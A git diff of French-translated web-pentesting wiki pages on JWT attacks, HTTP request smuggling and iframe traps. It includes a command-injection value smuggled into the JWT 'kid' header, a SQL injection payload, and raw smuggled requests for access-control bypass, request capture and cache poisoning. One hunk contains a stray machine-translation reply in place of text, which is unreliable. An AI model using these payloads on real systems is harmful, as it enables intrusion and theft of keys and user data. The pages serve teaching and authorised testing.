la clé privée pour signer le message et utilise la clé publique pour l'authentification. @@ -78,7 +72,7 @@ openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem Un attaquant intègre une nouvelle clé dans l'en-tête du jeton et le serveur utilise cette nouvelle clé pour vérifier la signature (CVE-2018-0114). -Cela peut être fait avec l'extension Burp "JSON Web Tokens".\ +Cela peut être fait avec l'extension "JSON Web Tokens" de Burp.\ (Envoyez la requête au Repeater, dans l'onglet JSON Web Token, sélectionnez "CVE-2018-0114" et envoyez la requête). ### Spoofing JWKS @@ -103,7 +97,7 @@ python3 jwt_tool.py JWT_HERE -X s Une revendication d'en-tête optionnelle connue sous le nom de `kid` est utilisée pour identifier une clé spécifique, ce qui devient particulièrement vital dans les environnements où plusieurs clés existent pour la vérification de la signature du jeton. Cette revendication aide à sélectionner la clé appropriée pour vérifier la signature d'un jeton. -#### Révélation de la clé via "kid" +#### Révéler la clé via "kid" Lorsque la revendication `kid` est présente dans l'en-tête, il est conseillé de rechercher dans le répertoire web le fichier correspondant ou ses variations. Par exemple, si `"kid":"key/12345"` est spécifié, les fichiers _/key/12345_ et _/key/12345.pem_ doivent être recherchés dans la racine web. @@ -117,7 +111,7 @@ En ciblant des fichiers avec un contenu prévisible, il est possible de forger u #### Injection SQL via "kid" -Si le contenu de la revendication `kid` est utilisé pour récupérer un mot de passe dans une base de données, une injection SQL pourrait être facilitée en modifiant la charge utile `kid`. Un exemple de charge utile qui utilise une injection SQL pour altérer le processus de signature JWT inclut : +Si le contenu de la revendication `kid` est utilisé pour récupérer un mot de passe d'une base de données, une injection SQL pourrait être facilitée en modifiant la charge utile `kid`. Un exemple de charge utile qui utilise une injection SQL pour altérer le processus de signature JWT inclut : `non-existent-index' UNION SELECT 'ATTACKER';-- -` @@ -125,7 +119,7 @@ Cette modification force l'utilisation d'une clé secrète connue, `ATTACKER`, p #### Injection OS via "kid" -Un scénario où le paramètre `kid` spécifie un chemin de fichier utilisé dans un contexte d'exécution de commande pourrait conduire à des vulnérabilités d'Exécution de Code à Distance (RCE). En injectant des commandes dans le paramètre `kid`, il est possible d'exposer des clés privées. Un exemple de charge utile pour obtenir RCE et exposition de clé est : +Un scénario où le paramètre `kid` spécifie un chemin de fichier utilisé dans un contexte d'exécution de commande pourrait conduire à des vulnérabilités d'Exécution de Code à Distance (RCE). En injectant des commandes dans le paramètre `kid`, il est possible d'exposer des clés privées. Un exemple de charge utile pour obtenir RCE et exposer des clés est : `/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&` @@ -134,7 +128,7 @@ Un scénario où le paramètre `kid` spécifie un chemin de fichier utilisé dan #### jku jku signifie **JWK Set URL**.\ -Si le jeton utilise une revendication d'en-tête “**jku**”, alors **vérifiez l'URL fournie**. Cela devrait pointer vers une URL contenant le fichier JWKS qui détient la clé publique pour vérifier le jeton. Modifiez le jeton pour pointer la valeur jku vers un service web dont vous pouvez surveiller le trafic. +Si le jeton utilise une revendication d'**en-tête** “**jku**”, alors **vérifiez l'URL fournie**. Cela devrait pointer vers une URL contenant le fichier JWKS qui détient la clé publique pour vérifier le jeton. Modifiez le jeton pour pointer la valeur jku vers un service web dont vous pouvez surveiller le trafic. Tout d'abord, vous devez créer un nouveau certificat avec de nouvelles clés privées et publiques. ```bash @@ -236,11 +230,11 @@ Cependant, imaginez une situation où la longueur maximale de l'ID est de 4 (000 Il a été observé que certaines applications web s'appuient sur un service JWT de confiance pour la génération et la gestion de leurs jetons. Des cas ont été enregistrés où un jeton, généré pour un client par le service JWT, a été accepté par un autre client du même service JWT. Si l'émission ou le renouvellement d'un JWT via un service tiers est observé, la possibilité de s'inscrire à un compte sur un autre client de ce service en utilisant le même nom d'utilisateur/email doit être examinée. Une tentative doit ensuite être faite pour rejouer le jeton obtenu dans une requête vers la cible pour voir s'il est accepté. -- Un problème critique peut être indiqué par l'acceptation de votre jeton, permettant potentiellement de falsifier le compte de n'importe quel utilisateur. Cependant, il convient de noter qu'une autorisation pour des tests plus larges pourrait être nécessaire si l'inscription sur une application tierce est effectuée, car cela pourrait entrer dans une zone grise légale. +- Un problème critique peut être indiqué par l'acceptation de votre jeton, permettant potentiellement de falsifier le compte de n'importe quel utilisateur. Cependant, il convient de noter qu'une autorisation pour des tests plus larges pourrait être nécessaire si l'inscription sur une application tierce est envisagée, car cela pourrait entrer dans une zone grise légale. **Vérification de l'expiration des jetons** -L'expiration du jeton est vérifiée à l'aide de la revendication "exp" Payload. Étant donné que les JWT sont souvent utilisés sans information de session, une manipulation prudente est requise. Dans de nombreux cas, capturer et rejouer le JWT d'un autre utilisateur pourrait permettre d'usurper l'identité de cet utilisateur. Le RFC JWT recommande d'atténuer les attaques de replay JWT en utilisant la revendication "exp" pour définir un temps d'expiration pour le jeton. De plus, la mise en œuvre de vérifications pertinentes par l'application pour garantir le traitement de cette valeur et le rejet des jetons expirés est cruciale. Si le jeton inclut une revendication "exp" et que les limites de temps de test le permettent, il est conseillé de stocker le jeton et de le rejouer après que le temps d'expiration soit passé. Le contenu du jeton, y compris l'analyse des horodatages et la vérification de l'expiration (horodatage en UTC), peut être lu en utilisant le drapeau -R de jwt_tool. +L'expiration du jeton est vérifiée à l'aide de la revendication "exp" Payload. Étant donné que les JWT sont souvent utilisés sans information de session, une manipulation prudente est requise. Dans de nombreux cas, capturer et rejouer le JWT d'un autre utilisateur pourrait permettre l'usurpation de cet utilisateur. Le RFC JWT recommande d'atténuer les attaques de replay JWT en utilisant la revendication "exp" pour définir un temps d'expiration pour le jeton. De plus, la mise en œuvre de vérifications pertinentes par l'application pour garantir le traitement de cette valeur et le rejet des jetons expirés est cruciale. Si le jeton inclut une revendication "exp" et que les limites de temps de test le permettent, il est conseillé de stocker le jeton et de le rejouer après que le temps d'expiration soit passé. Le contenu du jeton, y compris l'analyse des horodatages et la vérification de l'expiration (horodatage en UTC), peut être lu en utilisant le drapeau -R de jwt_tool. - Un risque de sécurité peut être présent si l'application valide toujours le jeton, car cela peut impliquer que le jeton ne pourrait jamais expirer. @@ -248,10 +242,5 @@ L'expiration du jeton est vérifiée à l'aide de la revendication "exp" Payload {% embed url="https://github.com/ticarpi/jwt_tool" %} -
- -Si vous êtes intéressé par une **carrière en hacking** et que vous souhaitez hacker l'inhackable - **nous recrutons !** (_polonais courant écrit et parlé requis_). - -{% embed url="https://www.stmcyber.com/careers" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/http-request-smuggling/README.md b/src/pentesting-web/http-request-smuggling/README.md index c2644ebbe..5b6c2d69e 100644 --- a/src/pentesting-web/http-request-smuggling/README.md +++ b/src/pentesting-web/http-request-smuggling/README.md @@ -2,22 +2,14 @@ {{#include ../../banners/hacktricks-training.md}} -
- -**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud** - -**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - ## Qu'est-ce que c'est -Cette vulnérabilité se produit lorsqu'une **désynchronisation** entre les **proxies front-end** et le serveur **back-end** permet à un **attaquant** d'**envoyer** une **requête HTTP** qui sera **interprétée** comme une **requête unique** par les proxies **front-end** (équilibreur de charge/proxy inverse) et **comme 2 requêtes** par le serveur **back-end**.\ +Cette vulnérabilité se produit lorsqu'une **désynchronisation** entre les **proxies front-end** et le serveur **back-end** permet à un **attaquant** d'**envoyer** une **requête** HTTP qui sera **interprétée** comme une **unique requête** par les proxies **front-end** (équilibreur de charge/proxy inverse) et **comme 2 requêtes** par le serveur **back-end**.\ Cela permet à un utilisateur de **modifier la prochaine requête qui arrive au serveur back-end après la sienne**. ### Théorie -[**Spécification RFC (2161)**](https://tools.ietf.org/html/rfc2616) +[**RFC Specification (2161)**](https://tools.ietf.org/html/rfc2616) > Si un message est reçu avec à la fois un champ d'en-tête Transfer-Encoding et un champ d'en-tête Content-Length, ce dernier DOIT être ignoré. @@ -39,8 +31,8 @@ Cela pourrait être très critique car **un attaquant pourra envoyer une requêt Rappelez-vous qu'en HTTP **un caractère de nouvelle ligne est composé de 2 octets :** -- **Content-Length** : Cet en-tête utilise un **nombre décimal** pour indiquer le **nombre** d'**octets** du **corps** de la requête. Le corps est censé se terminer par le dernier caractère, **une nouvelle ligne n'est pas nécessaire à la fin de la requête**. -- **Transfer-Encoding :** Cet en-tête utilise dans le **corps** un **nombre hexadécimal** pour indiquer le **nombre** d'**octets** du **prochain morceau**. Le **morceau** doit **se terminer** par une **nouvelle ligne**, mais cette nouvelle ligne **n'est pas comptée** par l'indicateur de longueur. Cette méthode de transfert doit se terminer par un **morceau de taille 0 suivi de 2 nouvelles lignes** : `0` +- **Content-Length** : Cet en-tête utilise un **nombre décimal** pour indiquer le **nombre** d'**octets** du **corps** de la requête. Le corps est censé se terminer au dernier caractère, **une nouvelle ligne n'est pas nécessaire à la fin de la requête**. +- **Transfer-Encoding :** Cet en-tête utilise dans le **corps** un **nombre hexadécimal** pour indiquer le **nombre** d'**octets** du **prochain morceau**. Le **morceau** doit **se terminer** par une **nouvelle ligne** mais cette nouvelle ligne **n'est pas comptée** par l'indicateur de longueur. Cette méthode de transfert doit se terminer par un **morceau de taille 0 suivi de 2 nouvelles lignes** : `0` - **Connection** : D'après mon expérience, il est recommandé d'utiliser **`Connection: keep-alive`** lors de la première requête du request Smuggling. ## Exemples de base @@ -48,7 +40,7 @@ Rappelez-vous qu'en HTTP **un caractère de nouvelle ligne est composé de 2 oct > [!TIP] > Lors de l'exploitation de cela avec Burp Suite, **désactivez `Update Content-Length` et `Normalize HTTP/1 line endings`** dans le répéteur car certains gadgets abusent des nouvelles lignes, des retours chariot et des content-length malformés. -Les attaques de request smuggling HTTP sont élaborées en envoyant des requêtes ambiguës qui exploitent les divergences dans la façon dont les serveurs front-end et back-end interprètent les en-têtes `Content-Length` (CL) et `Transfer-Encoding` (TE). Ces attaques peuvent se manifester sous différentes formes, principalement comme **CL.TE**, **TE.CL**, et **TE.TE**. Chaque type représente une combinaison unique de la façon dont les serveurs front-end et back-end priorisent ces en-têtes. Les vulnérabilités proviennent du fait que les serveurs traitent la même requête de différentes manières, entraînant des résultats inattendus et potentiellement malveillants. +Les attaques de HTTP request smuggling sont élaborées en envoyant des requêtes ambiguës qui exploitent les divergences dans la façon dont les serveurs front-end et back-end interprètent les en-têtes `Content-Length` (CL) et `Transfer-Encoding` (TE). Ces attaques peuvent se manifester sous différentes formes, principalement comme **CL.TE**, **TE.CL**, et **TE.TE**. Chaque type représente une combinaison unique de la façon dont les serveurs front-end et back-end priorisent ces en-têtes. Les vulnérabilités proviennent du fait que les serveurs traitent la même requête de différentes manières, entraînant des résultats inattendus et potentiellement malveillants. ### Exemples de base des types de vulnérabilités @@ -116,7 +108,7 @@ x= - **Scénario d'attaque :** - L'attaquant envoie une requête avec des en-têtes `Transfer-Encoding` obfusqués. -- Selon le serveur (front-end ou back-end) qui ne parvient pas à reconnaître l'obfuscation, une vulnérabilité CL.TE ou TE.CL peut être exploitée. +- Selon quel serveur (front-end ou back-end) échoue à reconnaître l'obfuscation, une vulnérabilité CL.TE ou TE.CL peut être exploitée. - La partie non traitée de la requête, telle que vue par l'un des serveurs, devient partie d'une requête subséquente, entraînant un smuggling. - **Exemple :** @@ -169,9 +161,9 @@ Non-Empty Body #### Scénario TE.0 -- Comme le précédent mais en utilisant TE +- Comme le précédent mais en utilisant TE. - Technique [reportée ici](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/) -- **Exemple**: +- **Exemple** : ``` OPTIONS / HTTP/1.1 Host: {HOST} @@ -193,7 +185,7 @@ EMPTY_LINE_HERE Cette technique est également utile dans des scénarios où il est possible de **casser un serveur web tout en lisant les données HTTP initiales** mais **sans fermer la connexion**. De cette manière, le **corps** de la requête HTTP sera considéré comme la **prochaine requête HTTP**. -Par exemple, comme expliqué dans [**ce rapport**](https://mizu.re/post/twisty-python), dans Werkzeug, il était possible d'envoyer certains caractères **Unicode** et cela fera **casser** le serveur. Cependant, si la connexion HTTP a été créée avec l'en-tête **`Connection: keep-alive`**, le corps de la requête ne sera pas lu et la connexion restera ouverte, donc le **corps** de la requête sera traité comme la **prochaine requête HTTP**. +Par exemple, comme expliqué dans [**ce rapport**](https://mizu.re/post/twisty-python), dans Werkzeug, il était possible d'envoyer certains caractères **Unicode** et cela ferait **casser** le serveur. Cependant, si la connexion HTTP a été créée avec l'en-tête **`Connection: keep-alive`**, le corps de la requête ne sera pas lu et la connexion restera ouverte, donc le **corps** de la requête sera traité comme la **prochaine requête HTTP**. #### Forcer via des en-têtes hop-by-hop @@ -235,7 +227,7 @@ A - Le serveur back-end, s'attendant à un message chunked, attend le prochain chunk qui n'arrive jamais, provoquant un délai. - **Indicateurs :** -- Délais d'attente ou longs retards dans la réponse. +- Timeouts ou longs délais de réponse. - Réception d'une erreur 400 Bad Request du serveur back-end, parfois avec des informations détaillées sur le serveur. ### Trouver des vulnérabilités TE.CL en utilisant des techniques de timing @@ -263,11 +255,11 @@ X ### Autres méthodes pour trouver des vulnérabilités - **Analyse de réponse différentielle :** -- Envoyer des versions légèrement variées d'une requête et observer si les réponses du serveur diffèrent de manière inattendue, indiquant une incohérence de parsing. +- Envoyer des versions légèrement variées d'une requête et observer si les réponses du serveur diffèrent de manière inattendue, indiquant une discordance de parsing. - **Utilisation d'outils automatisés :** - Des outils comme l'extension 'HTTP Request Smuggler' de Burp Suite peuvent tester automatiquement ces vulnérabilités en envoyant diverses formes de requêtes ambiguës et en analysant les réponses. - **Tests de variance de Content-Length :** -- Envoyer des requêtes avec des valeurs `Content-Length` variées qui ne correspondent pas à la longueur réelle du contenu et observer comment le serveur gère de telles incohérences. +- Envoyer des requêtes avec des valeurs `Content-Length` variées qui ne sont pas alignées avec la longueur réelle du contenu et observer comment le serveur gère de tels décalages. - **Tests de variance de Transfer-Encoding :** - Envoyer des requêtes avec des en-têtes `Transfer-Encoding` obfusqués ou malformés et surveiller comment les serveurs front-end et back-end réagissent différemment à de telles manipulations. @@ -277,12 +269,23 @@ Après avoir confirmé l'efficacité des techniques de timing, il est crucial de **Considérations clés** -Lors de la recherche de vulnérabilités de request smuggling en interférant avec d'autres requêtes, gardez à l'esprit : +Lors du test des vulnérabilités de request smuggling en interférant avec d'autres requêtes, gardez à l'esprit : - **Connexions réseau distinctes :** Les requêtes "d'attaque" et "normales" doivent être envoyées sur des connexions réseau séparées. Utiliser la même connexion pour les deux ne valide pas la présence de la vulnérabilité. -- **URL et paramètres cohérents :** Visez à utiliser des URL et des noms de paramètres identiques pour les deux requêtes. Les applications modernes acheminent souvent les requêtes vers des serveurs back-end spécifiques en fonction de l'URL et des paramètres. Faire correspondre ces éléments augmente la probabilité que les deux requêtes soient traitées par le même serveur, une condition préalable à une attaque réussie. +- **URL et paramètres cohérents :** Visez à utiliser des URL et des noms de paramètres identiques pour les deux requêtes. Les applications modernes routent souvent les requêtes vers des serveurs back-end spécifiques en fonction de l'URL et des paramètres. Faire correspondre ces éléments augmente la probabilité que les deux requêtes soient traitées par le même serveur, une condition préalable à une attaque réussie. - **Conditions de timing et de course :** La requête "normale", destinée à détecter l'interférence de la requête "d'attaque", est en concurrence avec d'autres requêtes d'application concurrentes. Par conséquent, envoyez la requête "normale" immédiatement après la requête "d'attaque". Les applications occupées peuvent nécessiter plusieurs essais pour une confirmation concluante de la vulnérabilité. -- **Défis d'équilibrage de charge :** +- **Défis d'équilibrage de charge :** Les serveurs front-end agissant comme des équilibreurs de charge peuvent distribuer les requêtes sur divers systèmes back-end. Si les requêtes "d'attaque" et "normales" se retrouvent sur des systèmes différents, l'attaque ne réussira pas. Cet aspect d'équilibrage de charge peut nécessiter plusieurs tentatives pour confirmer une vulnérabilité. +- **Impact utilisateur non intentionnel :** Si votre attaque impacte involontairement la requête d'un autre utilisateur (pas la requête "normale" que vous avez envoyée pour la détection), cela indique que votre attaque a influencé un autre utilisateur de l'application. Des tests continus pourraient perturber d'autres utilisateurs, nécessitant une approche prudente. + +## Abuser de HTTP Request Smuggling + +### Contourner la sécurité front-end via HTTP Request Smuggling + +Parfois, les proxys front-end appliquent des mesures de sécurité, scrutant les requêtes entrantes. Cependant, ces mesures peuvent être contournées en exploitant le HTTP Request Smuggling, permettant un accès non autorisé à des points de terminaison restreints. Par exemple, accéder à `/admin` pourrait être interdit de l'extérieur, le proxy front-end bloquant activement de telles tentatives. Néanmoins, ce proxy peut négliger d'inspecter les requêtes intégrées dans une requête HTTP smuggled, laissant une faille pour contourner ces restrictions. + +Considérez les exemples suivants illustrant comment le HTTP Request Smuggling peut être utilisé pour contourner les contrôles de sécurité front-end, ciblant spécifiquement le chemin `/admin` qui est généralement protégé par le proxy front-end : + +**Exemple CL.TE** ``` POST / HTTP/1.1 Host: [redacted].web-security-academy.net @@ -317,7 +320,7 @@ a=x 0 ``` -Inverse, dans l'attaque TE.CL, la requête `POST` initiale utilise `Transfer-Encoding: chunked`, et la requête intégrée suivante est traitée en fonction de l'en-tête `Content-Length`. Comme dans l'attaque CL.TE, le proxy frontal ignore la requête `GET /admin` dissimulée, accordant par inadvertance l'accès au chemin restreint `/admin`. +Inverse, dans l'attaque TE.CL, la requête `POST` initiale utilise `Transfer-Encoding: chunked`, et la requête intégrée suivante est traitée en fonction de l'en-tête `Content-Length`. Comme dans l'attaque CL.TE, le proxy frontal ignore la requête `GET /admin` dissimulée, accordant involontairement l'accès au chemin restreint `/admin`. ### Révélation de la réécriture des requêtes front-end @@ -342,7 +345,7 @@ search= ``` Dans cette structure, les composants de requête suivants sont ajoutés après `search=`, qui est le paramètre reflété dans la réponse. Ce reflet exposera les en-têtes de la requête suivante. -Il est important d'aligner l'en-tête `Content-Length` de la requête imbriquée avec la longueur réelle du contenu. Il est conseillé de commencer par une petite valeur et d'augmenter progressivement, car une valeur trop basse tronquera les données reflétées, tandis qu'une valeur trop élevée peut provoquer une erreur dans la requête. +Il est important d'aligner l'en-tête `Content-Length` de la requête imbriquée avec la longueur réelle du contenu. Il est conseillé de commencer avec une petite valeur et d'augmenter progressivement, car une valeur trop basse tronquera les données reflétées, tandis qu'une valeur trop élevée peut provoquer une erreur dans la requête. Cette technique est également applicable dans le contexte d'une vulnérabilité TE.CL, mais la requête doit se terminer par `search=\r\n0`. Indépendamment des caractères de nouvelle ligne, les valeurs seront ajoutées au paramètre de recherche. @@ -374,13 +377,13 @@ csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40ema ``` Dans ce scénario, le **paramètre comment** est destiné à stocker le contenu dans la section des commentaires d'un post sur une page accessible au public. Par conséquent, le contenu de la requête suivante apparaîtra comme un commentaire. -Cependant, cette technique a des limitations. En général, elle capture les données uniquement jusqu'au délimiteur de paramètre utilisé dans la requête contournée. Pour les soumissions de formulaires encodées en URL, ce délimiteur est le caractère `&`. Cela signifie que le contenu capturé de la requête de l'utilisateur victime s'arrêtera au premier `&`, qui peut même faire partie de la chaîne de requête. +Cependant, cette technique a des limitations. En général, elle capture les données uniquement jusqu'au délimiteur de paramètre utilisé dans la requête dissimulée. Pour les soumissions de formulaires encodées en URL, ce délimiteur est le caractère `&`. Cela signifie que le contenu capturé de la requête de l'utilisateur victime s'arrêtera au premier `&`, qui peut même faire partie de la chaîne de requête. De plus, il convient de noter que cette approche est également viable avec une vulnérabilité TE.CL. Dans de tels cas, la requête doit se terminer par `search=\r\n0`. Indépendamment des caractères de nouvelle ligne, les valeurs seront ajoutées au paramètre de recherche. -### Utiliser le contournement de requête HTTP pour exploiter le XSS réfléchi +### Utiliser le HTTP request smuggling pour exploiter le XSS réfléchi -Le contournement de requête HTTP peut être utilisé pour exploiter des pages web vulnérables au **XSS réfléchi**, offrant des avantages significatifs : +Le HTTP Request Smuggling peut être utilisé pour exploiter des pages web vulnérables au **XSS réfléchi**, offrant des avantages significatifs : - L'interaction avec les utilisateurs cibles **n'est pas requise**. - Permet l'exploitation du XSS dans des parties de la requête qui sont **normalement inaccessibles**, comme les en-têtes de requête HTTP. @@ -406,22 +409,22 @@ Content-Type: application/x-www-form-urlencoded A= ``` -Ce payload est structuré pour exploiter la vulnérabilité en : +Cette charge utile est structurée pour exploiter la vulnérabilité en : 1. Initiant une requête `POST`, apparemment typique, avec un en-tête `Transfer-Encoding: chunked` pour indiquer le début du smuggling. -2. Suivant avec un `0`, marquant la fin du corps du message chunked. +2. Suivant avec un `0`, marquant la fin du corps du message chunké. 3. Ensuite, une requête `GET` smuggled est introduite, où l'en-tête `User-Agent` est injecté avec un script, ``, déclenchant le XSS lorsque le serveur traite cette requête subséquente. -En manipulant le `User-Agent` par le smuggling, le payload contourne les contraintes normales de requête, exploitant ainsi la vulnérabilité XSS réfléchie de manière non standard mais efficace. +En manipulant le `User-Agent` par le biais du smuggling, la charge utile contourne les contraintes normales de requête, exploitant ainsi la vulnérabilité XSS réfléchie de manière non standard mais efficace. #### HTTP/0.9 > [!CAUTION] > Dans le cas où le contenu utilisateur est réfléchi dans une réponse avec un **`Content-type`** tel que **`text/plain`**, empêchant l'exécution du XSS. Si le serveur prend en charge **HTTP/0.9, il pourrait être possible de contourner cela** ! -La version HTTP/0.9 était antérieure à la 1.0 et utilise uniquement des verbes **GET** et **ne** répond **pas** avec des **en-têtes**, juste le corps. +La version HTTP/0.9 était antérieure à la 1.0 et utilise uniquement des verbes **GET** et **ne répond pas** avec des **en-têtes**, juste le corps. -Dans [**ce writeup**](https://mizu.re/post/twisty-python), cela a été abusé avec un smuggling de requête et un **point de terminaison vulnérable qui répondra avec l'entrée de l'utilisateur** pour smuggler une requête avec HTTP/0.9. Le paramètre qui sera réfléchi dans la réponse contenait une **réponse HTTP/1.1 factice (avec en-têtes et corps)** afin que la réponse contienne un code JS exécutable valide avec un `Content-Type` de `text/html`. +Dans [**ce rapport**](https://mizu.re/post/twisty-python), cela a été abusé avec un smuggling de requête et un **point de terminaison vulnérable qui répondra avec l'entrée de l'utilisateur** pour smuggler une requête avec HTTP/0.9. Le paramètre qui sera réfléchi dans la réponse contenait une **réponse HTTP/1.1 factice (avec en-têtes et corps)**, de sorte que la réponse contiendra un code JS exécutable valide avec un `Content-Type` de `text/html`. ### Exploiter les redirections sur site avec le HTTP Request Smuggling @@ -463,15 +466,15 @@ Location: https://attacker-website.com/home/ ``` Dans ce scénario, la demande d'un utilisateur pour un fichier JavaScript est détournée. L'attaquant peut potentiellement compromettre l'utilisateur en servant un JavaScript malveillant en réponse. -### Exploitation de la contamination du cache Web via le HTTP Request Smuggling +### Exploiter le Poisoning de Cache Web via HTTP Request Smuggling -La contamination du cache Web peut être exécutée si un composant de l'**infrastructure front-end met en cache du contenu**, généralement pour améliorer les performances. En manipulant la réponse du serveur, il est possible de **contaminer le cache**. +Le poisoning de cache web peut être exécuté si un composant de l'**infrastructure front-end met en cache du contenu**, généralement pour améliorer les performances. En manipulant la réponse du serveur, il est possible de **poisonner le cache**. -Auparavant, nous avons observé comment les réponses du serveur pouvaient être modifiées pour renvoyer une erreur 404 (voir [Exemples de base](./#basic-examples)). De même, il est possible de tromper le serveur pour qu'il délivre le contenu de `/index.html` en réponse à une demande pour `/static/include.js`. Par conséquent, le contenu de `/static/include.js` est remplacé dans le cache par celui de `/index.html`, rendant `/static/include.js` inaccessible aux utilisateurs, ce qui peut potentiellement conduire à une Déni de Service (DoS). +Auparavant, nous avons observé comment les réponses du serveur pouvaient être modifiées pour renvoyer une erreur 404 (voir [Exemples de Base](./#basic-examples)). De même, il est possible de tromper le serveur pour qu'il délivre le contenu de `/index.html` en réponse à une demande pour `/static/include.js`. Par conséquent, le contenu de `/static/include.js` est remplacé dans le cache par celui de `/index.html`, rendant `/static/include.js` inaccessible aux utilisateurs, ce qui peut potentiellement conduire à une Déni de Service (DoS). -Cette technique devient particulièrement puissante si une **vulnérabilité de redirection ouverte** est découverte ou s'il y a une **redirection sur site vers une redirection ouverte**. De telles vulnérabilités peuvent être exploitées pour remplacer le contenu mis en cache de `/static/include.js` par un script sous le contrôle de l'attaquant, permettant essentiellement une attaque Cross-Site Scripting (XSS) généralisée contre tous les clients demandant le `/static/include.js` mis à jour. +Cette technique devient particulièrement puissante si une **vulnérabilité Open Redirect** est découverte ou s'il y a un **redirection sur site vers un open redirect**. De telles vulnérabilités peuvent être exploitées pour remplacer le contenu mis en cache de `/static/include.js` par un script sous le contrôle de l'attaquant, permettant essentiellement une attaque Cross-Site Scripting (XSS) à grande échelle contre tous les clients demandant le `/static/include.js` mis à jour. -Ci-dessous se trouve une illustration de l'exploitation de **la contamination du cache combinée avec une redirection sur site vers une redirection ouverte**. L'objectif est de modifier le contenu du cache de `/static/include.js` pour servir du code JavaScript contrôlé par l'attaquant : +Ci-dessous se trouve une illustration de l'exploitation du **poisoning de cache combiné avec une redirection sur site vers un open redirect**. L'objectif est de modifier le contenu du cache de `/static/include.js` pour servir du code JavaScript contrôlé par l'attaquant : ``` POST / HTTP/1.1 Host: vulnerable.net @@ -502,7 +505,7 @@ Par la suite, toute requête pour `/static/include.js` servira le contenu mis en > - Dans l'**empoisonnement de cache web**, l'attaquant amène l'application à stocker un contenu malveillant dans le cache, et ce contenu est servi depuis le cache à d'autres utilisateurs de l'application. > - Dans la **tromperie de cache web**, l'attaquant amène l'application à stocker un contenu sensible appartenant à un autre utilisateur dans le cache, et l'attaquant récupère ensuite ce contenu depuis le cache. -L'attaquant crée une requête de contournement qui récupère un contenu sensible spécifique à l'utilisateur. Considérez l'exemple suivant : +L'attaquant crée une requête smuggled qui récupère un contenu sensible spécifique à l'utilisateur. Considérez l'exemple suivant : ```markdown `POST / HTTP/1.1`\ `Host: vulnerable-website.com`\ @@ -515,7 +518,7 @@ L'attaquant crée une requête de contournement qui récupère un contenu sensib ``` Si cette requête de contournement empoisonne une entrée de cache destinée à un contenu statique (par exemple, `/someimage.png`), les données sensibles de la victime provenant de `/private/messages` pourraient être mises en cache sous l'entrée de cache du contenu statique. Par conséquent, l'attaquant pourrait potentiellement récupérer ces données sensibles mises en cache. -### Abus de TRACE via HTTP Request Smuggling +### Abuser de TRACE via HTTP Request Smuggling [**Dans cet article**](https://portswigger.net/research/trace-desync-attack), il est suggéré que si le serveur a la méthode TRACE activée, il pourrait être possible de l'abuser avec un HTTP Request Smuggling. Cela est dû au fait que cette méthode renverra tout en-tête envoyé au serveur comme partie du corps de la réponse. Par exemple : ``` @@ -523,7 +526,7 @@ TRACE / HTTP/1.1 Host: example.com XSS: ``` -Je vais envoyer une réponse telle que : +Please provide the text you would like me to translate. ``` HTTP/1.1 200 OK Content-Type: message/http @@ -534,7 +537,7 @@ Host: vulnerable.com XSS: X-Forwarded-For: xxx.xxx.xxx.xxx ``` -Un exemple sur la façon d'abuser de ce comportement serait de **smuggler d'abord une requête HEAD**. Cette requête sera répondue uniquement avec les **en-têtes** d'une requête GET (**`Content-Type`** parmi eux). Et smuggler **immédiatement après la HEAD une requête TRACE**, qui va **réfléchir les données envoyées**.\ +Un exemple de la façon d'abuser de ce comportement serait de **smuggler d'abord une requête HEAD**. Cette requête sera répondue uniquement avec les **en-têtes** d'une requête GET (**`Content-Type`** parmi eux). Et smuggler **immédiatement après la HEAD une requête TRACE**, qui va **réfléchir les données envoyées**.\ Comme la réponse HEAD contiendra un en-tête `Content-Length`, la **réponse de la requête TRACE sera traitée comme le corps de la réponse HEAD, réfléchissant donc des données arbitraires** dans la réponse.\ Cette réponse sera envoyée à la prochaine requête sur la connexion, donc cela pourrait être **utilisé dans un fichier JS mis en cache par exemple pour injecter du code JS arbitraire**. @@ -714,12 +717,5 @@ table.add(req) - [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack) - [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/) -
- -**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud** - -**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/iframe-traps.md b/src/pentesting-web/iframe-traps.md index c347765b6..d8dffb90a 100644 --- a/src/pentesting-web/iframe-traps.md +++ b/src/pentesting-web/iframe-traps.md @@ -4,21 +4,20 @@ ## Basic Information -This form of abusing XSS via iframes to steal information from the user moving across the web page was originally published in these 2 post from trustedsec.com: [**here**](https://trustedsec.com/blog/persisting-xss-with-iframe-traps) **and** [**here**](https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams). +Cette forme d'abus de XSS via des iframes pour voler des informations à l'utilisateur se déplaçant sur la page web a été publiée à l'origine dans ces 2 articles de trustedsec.com : [**ici**](https://trustedsec.com/blog/persisting-xss-with-iframe-traps) **et** [**ici**](https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams). -The attack start in a page vulnerable to a XSS where it’s possible to make the **victims don’t leave the XSS** by making them **navigate within an iframe** that 